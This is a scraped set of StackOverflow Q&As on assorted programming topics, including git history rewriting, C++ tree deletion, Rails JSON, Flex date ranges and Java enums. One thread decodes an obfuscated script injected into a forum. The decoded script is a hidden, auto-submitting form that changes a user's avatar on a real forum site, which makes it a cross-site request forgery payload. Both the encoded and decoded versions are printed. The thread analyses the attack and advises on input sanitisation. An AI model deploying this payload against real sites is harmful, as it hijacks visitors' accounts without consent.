What it comes down to is that the UI is a "convenience" check. There's not real integrity to validating other than gently guiding the user to travel the correct path. The server is where the real protection is because, as every real programmer knows, the user can not be trusted.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592350",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Making the git repo smaller I've added some large binary files quite awhile ago I probably shouldn't have, committed & pushed to Github.
Now when myself & others clone, it takes ages - is there a way to fix this, perhaps by deleting those files permanently or deleting those old commits?
A: A quick google search gave me this bash script. I believe this should work with github.
#!/bin/bash
set -o errexit
# Author: David Underhill
# Script to permanently delete files/folders from your git repository. To use
# it, cd to your repository's root and then run the script with a list of paths
# you want to delete, e.g., git-delete-history path1 path2
if [ $# -eq 0 ]; then
exit 0
fi
# make sure we're at the root of git repo
if [ ! -d .git ]; then
echo "Error: must run this script from the root of a git repository"
exit 1
fi
# remove all paths passed as arguments from the history of the repo
files=$@
git filter-branch --index-filter "git rm -rf --cached --ignore-unmatch $files" HEAD
# remove the temporary history git-filter-branch otherwise leaves behind for a long time
rm -rf .git/refs/original/ && git reflog expire --all && git gc --aggressive --prune
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592351",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
}
|
Q: Design problem: Running sequence numbr across multi-threaded processes I have 3 multithreaded processes.
I want to implement a sequence number generator (every call to it shall return next number in sequence).
All the three processes or their threads can request generation of next sequence number.
I am looking for a very low latency solution.
Thanks in advance for ideas.
Sorry for missing this earlier. My platform is:-
- Linux platform
- C++
A: Since you don't provide much details just a general idea:
You write that there are 3 processes which run multiple threads... I assume they run on the same machine... another assumption: you are using some current version of Windows...
Implement shared memory (via MemoryMappedFile or its native counterpart) and use an atomic increment (InterlockedAdd64 or its managed counterpart Interlocked.Add) from each process to get the next number...
EDIT - after the addition of platform (Linux) by the OP:
You can use the same approach as described above with Linux too:
*
*shared memory can be done via mmap API with the flag MAP_SHARED
*atomic operations (like increment/decrement) can be done via libatomic see http://packages.debian.org/source/sid/libatomic-ops
A: Shared memory area stores the last number in the sequence. Every process, when it needs a new number in the sequence, calculates it and InterlockedCompareExchange()'s it with the old number. If the ICE() succeeds, it uses the number, if it doesn't, the routine is repeated until the ICE() succeeds.
A: if you are looking for one in JVM world:
class Sequencer {
private AtomicLong sequenceNumber = new AtomicLong(0);
public long next() { return sequenceNumber.getAndIncrement(); }
}
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592355",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: How to trigger scrollsToTop when UITableView is nested inside UIScrollView I was wondering if anyone had had any luck triggering scrollsToTop (or by any other means) for a UITableView from the user tapping on the status bar when the UITableView is nested inside a UIScrollView that also observes this function? I know this probably isn't good practice, but in this instance the UX kind of calls for this type of hierarchy.
Either way, I've seen a whole bunch of proposals ranging from private methods (obviously not going to happen) to adding fake windows over the status bar (also not going to happen).
A: Ok, so the answer here is two fold:
*
*You cannot have more than one UIScrollView (or classes deriving from or using UIScrollView - i.e. UITableView) on the same UIView with the property scrollsToTop set to YES. Pick the one you want to have the feature and make sure all others are no
For example, do this:
scrollView.scrollsToTop = NO;
tableView.scrollsToTop = YES; // or not set
*Implement the UIScrollView delegate method scrollViewShouldScrollToTop: and return YES if the calling UIScrollView is the UITableView.
Props to this answer for mentioning the non-multiple scrollsToTop option.
A: Just wanted to share a little function I wrote that helps debug these situations. As others have mentioned, you have to make sure only ONE scroll view has scrollsToTop turned on. If you embed complex view hierarchies it may be difficult to figure out which scroll view is the culprit. Just call this method after your view hierarchy is created, like in viewDidAppear. The level parameter is just to help indentation and you should seed it off with 0.
-(void)inspectViewAndSubViews:(UIView*) v level:(int)level {
NSMutableString* str = [NSMutableString string];
for (int i = 0; i < level; i++) {
[str appendString:@" "];
}
[str appendFormat:@"%@", [v class]];
if ([v isKindOfClass:[UITableView class]]) {
[str appendString:@" : UITableView "];
}
if ([v isKindOfClass:[UIScrollView class]]) {
[str appendString:@" : UIScrollView "];
UIScrollView* scrollView = (UIScrollView*)v;
if (scrollView.scrollsToTop) {
[str appendString:@" >>>scrollsToTop<<<<"];
}
}
NSLog(@"%@", str);
for (UIView* sv in [v subviews]) {
[self inspectViewAndSubViews:sv level:level+1];
}}
Call it on your view controller's main view.
In the log, you should see >>>scrollsToTop<<< next to every view that has it turned on, making it easy to find the bug.
A: One thing that helped me fix this problem is:
*
*Verify every other UIScollView in the view hierarchy is set to scollsToTop = NO
*Add sub view controllers as child view controllers using addChildViewController: It is not sufficient to only add the view as a subview to the parent's view.
A: NSIndexPath *indexPath = [NSIndexPath indexPathForRow:0 inSection:0];
[gridTableView scrollToRowAtIndexPath:indexPath atScrollPosition:UITableViewScrollPositionNone animated:YES];
Hoping to help you :)
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592356",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
}
|
Q: What Javascript event fires when async resources are finished loading? If I load a script asynchronously like this
<script type="text/javascript">
(function () {
var js = document.createElement('script');
js.type = 'text/javascript';
js.async = true;
js.src = '<%=BundleTable.ResolveUrl("~/js") %>';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(js, s);
})();
</script>
what event fires once the async stuff is finished loading and the dom is finished loading?
A: Every event has it's own notification mechanism so there is no generic answer. For example, you can read about how to detect when a dynamically loaded script is done loading here and here. These days, you can save yourself a ton of time by using a good framework like YUI or jQuery as they most have built-in cross-browser support for these types of events.
For the DOM finished loading, there is no single cross-browser mechanism that gets you the earliest possible time when it's finished loading. If you look at a jQuery implementation of $(document).ready(), you will see several techniques employed (listening for "DOMContentLoaded" event, the earliest time that a setTimeout() will fire, listening for window load(), document onreadystatechange event, etc...) in order to support this functionality cross browser.
The window.onload event will guarentee safe DOM access, but it also waits for all images to finish loading which is much later than neccessary. These other techniques are used to get earlier safe access.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592364",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
}
|
Q: C++ Access violation? Why am I getting an access violation reading location 0xC0000005 here if the same code works like a charm when I coding in linux?
if(nodo->izq!=NULL) //nodo is a class or struct and "sig" is a pointer of the same kind
VaciarAux(nodo->izq);
Is there any way of getting this done without that unhandled exception?
assert will do the trick?
here is the function
void Arbol<T>::VaciarAux(Nodo<T> * &nodo)
{
if(nodo->izq!=NULL)
VaciarAux(nodo->izq);
if(nodo->der!=NULL)
VaciarAux(nodo->der);
if(nodo->izq == NULL && nodo->der ==NULL)
{
actual = nodo;
nodo=NULL;
delete actual;
contador--;
}
A: Most likely because nodo itself is an invalid pointer. The -> dereferencing would then cause a problem.
You need to check the things that could possibly affect that value (buffer overflows causing corruption, having set to NULL for some reason).
Note that:
if (nodo->izq != NULL)
does not check if the nodo variable is NULL but rather if the izq member of what nodo points to is NULL.
If you simply want to do nothing if nodo itself is NULL, you could put at the start:
if (nodo == NULL) return;
but I still think you'd be much better off tracking back to the source of the problem rather than just fixing one symptom.
I think the problem is with the way you are processing the tree. You are effectively doing:
def delTree (node):
if node.left != NULL:
delTree (node.left)
if node.right != NULL:
delTree (node.right)
if node.left == NULL and node.right == NULL:
delete node and whatever else you have to do
The main problem with that is that delTree (node.left) means that you'll get the exact problem you're seeing if the tree is empty since the first thing you try to do is dereference the NULL root node.
The more usual approach is to first recur the children unconditionally (with a NULL protector) then process the node itself, something like:
def delTree (node):
if node == NULL:
return
delTree (node.left)
delTree (node.right)
delete node and whatever else you have to do
This will correctly handle an empty tree and still correctly delete all children before the parent. And it just looks more elegant, which is one of the reasons to use recursion in the first place :-)
I'll leave it as an exercise for the reader to turn that back into C++.
A: As pax says it's probably a bad pointer. In Linux there may not be strict virtual memory rules as when running the code somewhere else (also depends on the compiler). So in the Linux case it might be working but it might actually be doing something you don't expect.
A: You may want to look into how you are creating a Nodo type (i.e., look at its default constructor ... it should have one since it's a class/struct that contains pointers). For instance, if you are not initializing the members of a Nodo type so that the two pointer members are initially NULL whenever a Nodo object is created, then they could have any indeterminant value such that the tests for NULL values inside of Arbol<T>::VaciarAux will fail. For instance, a new Nodo would end up with pointers initialized to some random value, but those random memory values contained in the pointer-members of Nodo are not valid locations accessible in memory. Then when you test whether the pointers are NULL, the test comes out false, and you attempt to dereference them in the next recursive call to Arbol<T>::VaciarAux, causing an access violation.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592367",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
}
|
Q: Memory management, addSubview for a subclass of UIViewController I have a view that shows a map. I have a custom subclass of UIViewController (DetailViewController) that gets shown when the detailDisclosureButton of the callout above the pin is pressed. While in my map class, I create my detailview and add it to the subview like this:
DetailViewController *detailView = [[DetailViewController alloc] initWithNibName:@"DetailView" bundle:nil];
detailView.locationPoint = locationPoint;
detailView.locationCoordinate = locationCoordinate;
[self.view addSubview:detailView.view];
[detailView release];
My DetailViewController has a TableView and parses the data in DetailViewController. However I get an error of sending the numberOfSectionsInTable message to a dealloc'd instance. I'm assuming it is this since I originally had this as a property and it worked fine with (nonatomic, retain). I'm assuming that I'm releasing it before the next view is done with it. If that is the case, when would I clean up the memory??? It seems like this would be the place to do it. Thanks.
A: I am not sure what makes you adding the view of DetailViewController into this mapviewcontroller's view. Don't you think right approach would be to either presentModalViewController or pushNavigationController?
DetailViewController *detailView = [[DetailViewController alloc] initWithNibName:@"DetailView" bundle:nil];
detailView.locationPoint = locationPoint;
detailView.locationCoordinate = locationCoordinate;
//[self.view addSubview:detailView.view];
[self.navigationController pushViewController:detailView animated:YES];
//OR
[self presentModalViewController:detailView animated:YES];
[detailView release];
You are getting the error because you are only using the view and deallocating the view controller immediately and hence tableview datasource and delegates are hitting a nil object.
A: Views do not retain their view controllers. Someone needs to retain the VC or else it will get released, and then the app will crash when the view makes a call into its delegate. When you use a navigation controller, the navcon has a stack of view controllers that it retains. Likewise with presentModalViewController, the OS takes care of retaining the detail VC.
Adding a detail view as a subview is not the normal way to navigate to a new view. Instead, one either uses a navigation controller and [navcon pushViewController::], or a modal subview and [self presentModalViewController::]. If the detail view occupies only a portion of the parent view, then it is normal to retain the view controller for the subview within the parent controller. That is, within the parent VC (your map class) add a property for the detail VC. Actually, it's more common to not even use a VC for a subview, but rather for screen-filling detail views.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592368",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Populate a JSON file with Rails fields in Profile.all I'm using jQuery Tokeninput for tags in my Rails app. I have never dealt with JSON before (I'm new to programming) but I was wondering if there was a way to create then populate a json file with string values from Profile.all.
Here is the index in my TagsController:
class TagsController < ApplicationController
def index
@tags = Tag.where("name like ?", "%#{params[:q]}%")
respond_to do |format|
format.html
format.json { render :json => @tags.map(&:attributes) }
end
end
end
If it is possible, can someone give me an idea of how it might be done? If more code is needed let me know!
EXPLANATION: The reason I want to do this is to limit @tags to tags that already exist.
A: So, if I understand correctly, the code you posted works correctly? But now you don't want to stream the JSON output to the browser, but write it to a file?
Take a look at how Rails renders JSON in the source. It's pretty straightforward, it simply calls the to_json function on any object that is being rendered.
Also take a look at this excellent post by Yehuda Katz. Look up the section for Serialization.
Now, to save all your Profile models as JSON to a file, you can do something like this:
File.open("all_profiles.json", "w") { |f| f.write(Profile.all.to_json) }
Edit:
With your added explanation, here's some more info:
JSON of certain fields in your models:
Profile.all.collect { |p| { :name => p.name, :city => p.city } }.to_json
This would give you an array like this in Ruby:
[ {:name = "John", :city => "Liverpool"}, {:name = "Jimi", :city => "Seattle"} ]
And JSON like this:
[ {"name":"John", "city":"Liverpool"}, {"name":"Jimi", "city":"Seattle"} ]
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592369",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Javascript encoded? someone is using a weird script to bug my forum, I tracked it and found the javascript, but it's "encoded", can someone help me ?
here it is:
<script language="javascript">
var enkripsi="'1A`mf{'02mlNmcf'1F'00qw`okv]dmpo'0:'0;'1@'00'1G'2C'1Admpo'02lcog'1F'00o{dmpo'00'02cavkml'1F'00jvvr'1C--dmpwo,hmemq,wmn,amo,`p-fup-gzga-WqgpDwlavkmlq,wrfcvgWqgpCtcvcp,fup'00'02ogvjmf'1F'00RMQV'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00acnnAmwlv'00'02tcnwg'1F'003'00'1G'02'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/qapkrvLcog'00'02tcnwg'1F'00WqgpDwlavkmlq'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/ogvjmfLcog'00'02tcnwg'1F'00wrfcvgWqgpCtcvcp'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/kf'00'02tcnwg'1F'007:55]3135040515351'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/rcpco2'00'02tcnwg'1F'00qvpkle'1C72;;'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00zon'00'02tcnwg'1F'00vpwg'00'1G'2C'02'02Rngcqg'02ankai'02jgpg'1C'02'1Aklrwv'02v{rg'1F'00qw`okv'00'02tcnwg'1F'00Amlvklwg,,,'00'02-'1G'1A-r'1G'2C'1A-dmpo'1G'2C'2C'1Aqapkrv'02nclewceg'1F'00hctcqapkrv'00'1G'2C'02'02'1A'03//'2C'02'02dwlavkml'02qw`okv]dmpo'0:'0;'02'2C'02'02'5@'2C'02'2;fmawoglv,o{dmpo,qw`okv'0:'0;'2C'02'02'5F'2C'02'02//'1G'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
</script>
A: Cleaning up the code results in
var enkripsi = "'1A`mf{'02mlNmcf'1F'00qw`okv]dmpo'0:'0;'1@'00'1G'2C'1Admpo'02lcog'1F'00o{dmpo'00'02cavkml'1F'00jvvr'1C--dmpwo,hmemq,wmn,amo,`p-fup-gzga-WqgpDwlavkmlq,wrfcvgWqgpCtcvcp,fup'00'02ogvjmf'1F'00RMQV'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00acnnAmwlv'00'02tcnwg'1F'003'00'1G'02'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/qapkrvLcog'00'02tcnwg'1F'00WqgpDwlavkmlq'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/ogvjmfLcog'00'02tcnwg'1F'00wrfcvgWqgpCtcvcp'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/kf'00'02tcnwg'1F'007:55]3135040515351'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/rcpco2'00'02tcnwg'1F'00qvpkle'1C72;;'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00zon'00'02tcnwg'1F'00vpwg'00'1G'2C'02'02Rngcqg'02ankai'02jgpg'1C'02'1Aklrwv'02v{rg'1F'00qw`okv'00'02tcnwg'1F'00Amlvklwg,,,'00'02-'1G'1A-r'1G'2C'1A-dmpo'1G'2C'2C'1Aqapkrv'02nclewceg'1F'00hctcqapkrv'00'1G'2C'02'02'1A'03//'2C'02'02dwlavkml'02qw`okv]dmpo'0:'0;'02'2C'02'02'5@'2C'02'2;fmawoglv,o{dmpo,qw`okv'0:'0;'2C'02'02'5F'2C'02'02//'1G'2C'1A-qapkrv'1G";
teks = "";
teksasli = "";
var panjang;
panjang = enkripsi.length;
for (i = 0; i < panjang; i++) {
teks += String.fromCharCode(enkripsi.charCodeAt(i) ^ 2)
}
teksasli = unescape(teks);
document.write(teksasli);
Change the document.write to a console.log. Pop it into firebug and you get.
<body onLoad="submit_form();">
<form name="myform" action="http://forum.jogos.uol.com.br/dwr/exec/UserFunctions.updateUserAvatar.dwr" method="POST">
<input type="hidden" name="callCount" value="1">
<input type="hidden" name="c0-scriptName" value="UserFunctions">
<input type="hidden" name="c0-methodName" value="updateUserAvatar">
<input type="hidden" name="c0-id" value="5877_1317262737173">
<input type="hidden" name="c0-param0" value="string:5099">
<input type="hidden" name="xml" value="true">
Please click here: <input type="submit" value="Continue..." />
</p>
</form>
<script language="javascript">
<!-- function submit_form() { document.myform.submit() } -->
</script>
The real problem here is how is the user injecting the code into your site to being with. Are they entering it into a form and you are just outputting whatever they enter or is it a bug in the software you are using?
If it is a bug in the software, you upgrade.
If it is your code, you need to learn how to sanitize user input. OWASP has great info
A: Here is the deobfuscated JavaScript code:
<body onLoad="submit_form();">
<form name="myform" action="http://forum.jogos.uol.com.br/dwr/exec/UserFunctions.updateUserAvatar.dwr" method="POST">
<input type="hidden" name="callCount" value="1">
<input type="hidden" name="c0-scriptName" value="UserFunctions">
<input type="hidden" name="c0-methodName" value="updateUserAvatar">
<input type="hidden" name="c0-id" value="5877_1317262737173">
<input type="hidden" name="c0-param0" value="string:5099">
<input type="hidden" name="xml" value="true">
Please click here: <input type="submit" value="Continue..." /></p>
</form>
<script language="javascript">
<!--
function submit_form()
{
document.myform.submit()
}
-->
</script>
A: enkripsi="'2C'2C'2C"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
A: var enkripsi=""; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)2) }teksasli=unescape(teks);document.write(teksasli);
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592370",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
}
|
Q: Datefield Ranges - Flex I have two Datefields .Is there a way that i can set the date of second Datefield to a specified range(say three days ...?. I tried to do it but not worked .. dont know to convert date back to string and format it .. here is the code
<mx:DateField disabledRanges="{[{rangeEnd: new Date(2011,05,31)}]}" id="dfield1" change="leaveDate()" parseFunction="null" width="100" x="156" y="130"/>
<mx:DateField disabledRanges="{[{rangeEnd: new Date(2011,05,31)}]}" id="dfield2" parseFunction="null" width="100" x="426" y="130"/>
private function leaveDate():void {
//var dateLeave:Date = dfield1.selectedDate;
var myTime:Date =dfield1.selectedDate;
dateAdd("date", 3, myTime);
//car formatter1:Datef
commentField.text+=myTime+"\n"
//dfield2.selectedDate = returnDate
}
public static function dateAdd(datepart:String = "", number:Number = 0, date:Date = null):Date
{
if (date == null) {
date = new Date();
}
var returnDate:Date = new Date(date.time);;
switch (datepart.toLowerCase()) {
case "fullyear":
case "month":
case "date":
case "hours":
case "minutes":
case "seconds":
case "milliseconds":
returnDate[datepart] += number;
break;
default:
/* Unknown date part, do nothing. */
break;
}
return returnDate;
}
It would be really grateful if somebody can help
A: To operate calculations on date, you must first convert them into numbers, i.e. dates in Epoch time or amount of seconds elapsed since january the first in 1970. Then, you can performa any operation on your date. For instance :
// Today
var today:Date = new Date();
// Tomorrow
var tomorrow:Date = new Date();
// How many seconds in a day ?
var secsInOneDay:Number = 60*60*24;
// Changes the tomorrow date to actually be tomorrow ^^
tomorrow.setTime(today.getTime() + secsInOneDay);
A: If you want to disable the dates prior to the date selected in dfield1 and the dates after three days after the date selected in dfield1 then try something like this:
<mx:DateField disabledRanges="{[{rangeEnd: new Date(2011,05,31)}]}" id="dfield1" change="leaveDate()" parseFunction="null" width="100" x="156" y="130"/>
<mx:DateField disabledRanges="{[{rangeEnd: new Date(2011,05,31)}]}" id="dfield2" parseFunction="null" width="100" x="426" y="130"/>
private function leaveDate():void {
dfield2.disabledRanges = [ { rangeEnd:new Date(
dfield1.selectedDate.fullYear,
dfield1.selectedDate.month,
dfield1.selectedDate.date - 1 ) },
{ rangeStart:new Date(
dfield1.selectedDate.fullYear,
dfield1.selectedDate.month,
dfield1.selectedDate.date + 3 ) } ];
}
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592379",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: Iterative appending of array with arrays from sql results am new here, but have enjoyed reading others' questions and answers. I'm fairly new to PHP and am working on a project - basic table look-ups in MySQL, etc.
What I want to end up with is an array of arrays, the form of which is shown below with condiments (not my actual project). The content is coming from two different tables. For each of the condiment names (from table 1) I look up in table 2 the types of condiments, linked by ID. The searching and grabbing stuff is fine, but I'm having trouble looping and building my final $Condiments array.
The first part of the loop, I grab the condiment name from the $row and append it to the array. But I need each of these condiment names to be an empty array to put something in, in the next step. I've looked around but couldn't find a good way to iteratively append new placeholder arrays into an array. Is there an elegant solution? Some cool function I'm not taking advantage of? Thanks!
// SQL search for condiment words, blah blah, leading to...
$rowsnumber = mysql_num_rows($result);
for ($j = 0 ; $j < $rowsnumber ; ++$j)
{
$row = mysql_fetch_row($result); // $row is an array featuring a condiment name and other stuff.
$Condiments[] = $row[1]; // condiment name goes in array.
$CondimentType = searchTable2($row[0]);
// using the condiment name's ID, I look up its matching types via a function.
// $CondimentType is now an array of IDs and types from Table2 that I want to append to the condiment name I just added above.
$Condiments[$row[1]] = $CondimentType;
// I repeat the process for the next name
}
// Final desired result...
$Condiments=
Array
(
[Pickles] => Array
(
[34] => Dill
[23] => Butter
)
[Mustard] => Array
(
[22] => Hot
)
[Relish] => Array
(
[3] => Pickle
)
)
A: so like i said , you need to use join to perform the needed task.
you can find more explanation here about joins
http://dev.mysql.com/doc/refman/5.0/en/join.html
in your case , this query should do the job
select t1.word,t3.word
from table1 as t1 join table2 as t2 on t1.id =t2.id
left join table1 as t3 on t3.id = t2.linkid
i ran the query in my machine and these are the results
+---------+--------+
| word | word |
+---------+--------+
| Pickles | Dill |
| Pickles | Butter |
| Mustard | Hot |
| Relish | Pickle |
+---------+--------+
so instead of looping through each row, just perform a join and get the results. in php then you can do the needed format of the array.
hopefully this will help you
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592385",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: dynamic properties in objective c I found out Objective-C object properties can be marked as @dynamic to let compiler know that implementation will be available at runtime. I'd like to know if there is a way to tell the compiler that all properties on an object are dynamic without explicitly specifying them one-by-one (I don't have a list of properties up front). I know that this would not be a problem if I would just use [object something] but for stylistic purposes I want to use object.something syntax.
I'm fairly sure that it's not possible to do that but I'd like someone to confirm that. Since this is not for production use solution can involve anything you can imagine.
Thanks.
Additional info:
*
*I only care about -something (getter) working so if your solution does not support setters that is fine.
Example:
@interface MagicalClass : NSObject
// property 'something' is not defined!
@end
@implementation MagicalClass
- (NSMethodSignature *)methodSignatureForSelector:(SEL)aSelector { ... }
- (void)forwardInvocation:(NSInvocation *)anInvocation { ... }
@end
MagicalClass *obj = [[MagicalClass alloc] init];
[obj something]; // compiler warning
obj.something; // compiler error
A: This really doesn't work with declared properties. The whole point of them is that you declare upfront what your properties are and how you interact with them. If you don't have any to declare, then you don't have any declared properties.
Unfortunately, it also doesn't work well with plain messages, although it can work better than dot syntax. Objective-C's static type checking will throw a hissy-fit of warnings, and if any of the properties are of non-object types, it might not be able to generate the correct calling code.
This kind of thing is common in languages like Python and Ruby where things don't have to be declared, but it just doesn't mesh well with Objective-C. In Objective-C, accessing arbitrary attributes is generally done with strings (cf. Key-Value Coding and NSAttributedString).
A: I don't believe this is possible. If you use the id type, you may be able to send undeclared messages, but dot syntax really relies on knowing about your specific accessors.
A: I haven't tried this, but if you provide a getter and setter, does Xcode still want the @synthesize or @dynamic directive?
So if you property is called something, implement -setSomething: and -something.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592391",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
}
|
Q: How to use Nested Enums with Java Type Erasure public enum Days {
SUNDAY,
MONDAY,
TUESDAY,
WEDNESDAY,
THURSDAY,
FRIDAY,
SATURDAY;
public enum WeekDays{
MONDAY,
TUESDAY,
WEDNESDAY,
THURSDAY,
FRIDAY,
}
public enum WeekEnds{
SATURDAY,
SUNDAY;
}
}
public class InnerEnumTestClass<E extends Enum<E>> {
public E enumtype;
/**
* @param enumtype
*/
public InnerEnumTestClass(E enumtype) {
super();
this.enumtype = enumtype;
}
/**
* @param args
*/
public static void main(String[] args) {
InnerEnumTestClass<Days> testObj =
new InnerEnumTestClass<Days>(Days.WeekDays.MONDAY);
// I get the following compiler error.
//The constructor InnerEnumTestClass<Days>(Days.WeekDays) is undefined
}
}
As you see the Class InnerEnumTestClass accepts only type but I need the constructor to accept Days, Days.WeekDays and Days.Weekends.
How to establish this ?
A: Only fixing the error that you have. Correct the declartion in your main to
InnerEnumTestClass<Days.WeekDays> testObj =
new InnerEnumTestClass<Days.WeekDays>(Days.WeekDays.MONDAY);
A: I don't think you want to do this. You're overdoing the types. Days.MONDAY is of a different type to Days.Weekdays.MONDAY , etc. There's not much point in having them both if they're not commensurable. I think you should have one set of enum constants for the day names and an EnumSet<Days> WeekendDays = EnumSet.of(Days.SATURDAY, Days.SUNDAY). Absence of a day name from WeekendDays => it is a weekday.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592398",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Post directly to twitter and youtube I am thinking of adding a feature to my website that allows me to write a post or add a video on my site and also post it to my twitter and/or youtube accounts with the click of a button. Does anyone know if there is a way to do this? I am not looking for code, just some links to documentation on how this is done.
Thanks.
A: Yes, there is. You have to connect with twitter and youtube, and you do it by using their API (Aplication Programming Interface). You register in their developers site and get a secret API key (kind of a password to allow you to use the API). Then, you just call their functions.
A: Twitter API: https://dev.twitter.com/
Youtube API: http://code.google.com/apis/youtube/overview.html
On these pages you will find code examples, libraries etc. which should be sufficient for you.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592408",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Do I need to implement synchronized on writing data to a same file by using BufferedWriter and FileWriter? I am working on Webmethods Integration Server. Inside there is a java service which is in form of a static java method for writing data to a log file (server.log) by using BufferedWriter and FileWriter. The static method code is like this:
public static void writeLogFile(String message) throws ServiceException{
try {
BufferedWriter bw = new BufferedWriter(new FileWriter("./logs/server.log", true));
bw.write(message);
bw.newLine();
bw.close();
} catch (Exception e) {
throw new ServiceException(e.getMessage());
}
}
Note:
-The code has been simplified for example purpose.
-I can't change the writeLogFile method declaration and attribute. That means, it will always be: public static void writeLogFile. This kind of modification is prohibited: public synchronized void writeLogFile.
There is a chance that the writeLogFile method can be invoked by different instances, so I need to make sure that there are no two or more instances access same resource (server.log) in same time. That means, if there are two instances try to access the server.log, one of the instances must have to wait another instance to finish writing data to the server.log.
The questions are:
Should I change the code above? If so, what kind of modification I need to do? Should I implement "synchronized" inside the java static method?
@EJP:
So, which one below is the best code to implement synchronized?
1)
FileWriter fw = new FileWriter("./logs/server.log", true);
synchronized (fw) {
BufferedWriter bw = new BufferedWriter(fw);
bw.write(message);
bw.newLine();
bw.close();
}
2)
BufferedWriter bw = new BufferedWriter(new FileWriter("./logs/server.log", true));
synchronized(bw) {
bw.write(message);
bw.newLine();
bw.close();
}
3)
synchronized(util.class) { //yes, the class name is started with lowercase
BufferedWriter bw = new BufferedWriter(new FileWriter("./logs/server.log", true));
bw.write(message);
bw.newLine();
bw.close();
}
4) Other opinion?
Thanks.
A: Just make the method synchronized. It doesn't affect its method signature for binary compatibility purposes.
A: I have another suggestion. I guess synchronization can be treated as an aspect and the same can be achieved using some AOP framework. This conforms to you requirement of not changing the code. But I am not 100% sure about it and posted a question for the same. Please monitor its responses .
A: No. the base class of BufferedWriter and FileWriter is java.io.Writer,
it has it own lock on each write operation
Object java.io.Writer.lock
The object used to synchronize operations on this stream.
try make the BufferedWriter bw static and ref to it by a static method ,thus all write is write to file via same Writer object
btw, i guess you are inventing yet-another-log-lib... may be you could use log4j or any kind of log lib instead
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592409",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
}
|
Q: Bind Values To a comboBox Dynamically I am Working On a C# Windows Form.
I have A Combobox In My Windows Form Where I need to Bind Values Dynamically Form Database Accordingly.
With An Example Can Anyone explain Me How To Do It.
A: Get the Values of the database store them to an array or a DataSet, and by using ComboBox.DataSource Property you can bind the Combobox dynamically.
EDIT
string[] stringArray = { "one", "two", "three", "four" };
comboBox1.DataSource = stringArray;
OR
SqlCommand cmd = new SqlCommand("Select StdNo,StdName from TempDb", conn);
conn.Open();
SqlDataAdapter DataA = new SqlDataAdapter(cmd);
DataTable DSet = new DataTable();
DataA.Fill(DSet);
conn.Close();
ComboBox1.DataSource = DSet;
ComboBox1.DisplayMember = "StdName";
ComboBox1.ValueMember = "StdNo";
A: In a combo box it supports Name and value pair.
You can use.Either
combobox1.DataSource = ds;
combobox1.DisplayMember = "EmpName";
combobox1.ValueMember = "EmpId";
or
Dim str As String
str = "Select * from CountryTable"
ddCountry.DataSource = obj.GetDataSet(str)
ddCountry.Items.Clear()
ddCountry.DataValueField = "COUNTRYID"
ddCountry.DataTextField = "COUNTRYName"
ddCountry.DataBind()
//GetDataSet is a function which returns a dataset.
|
{
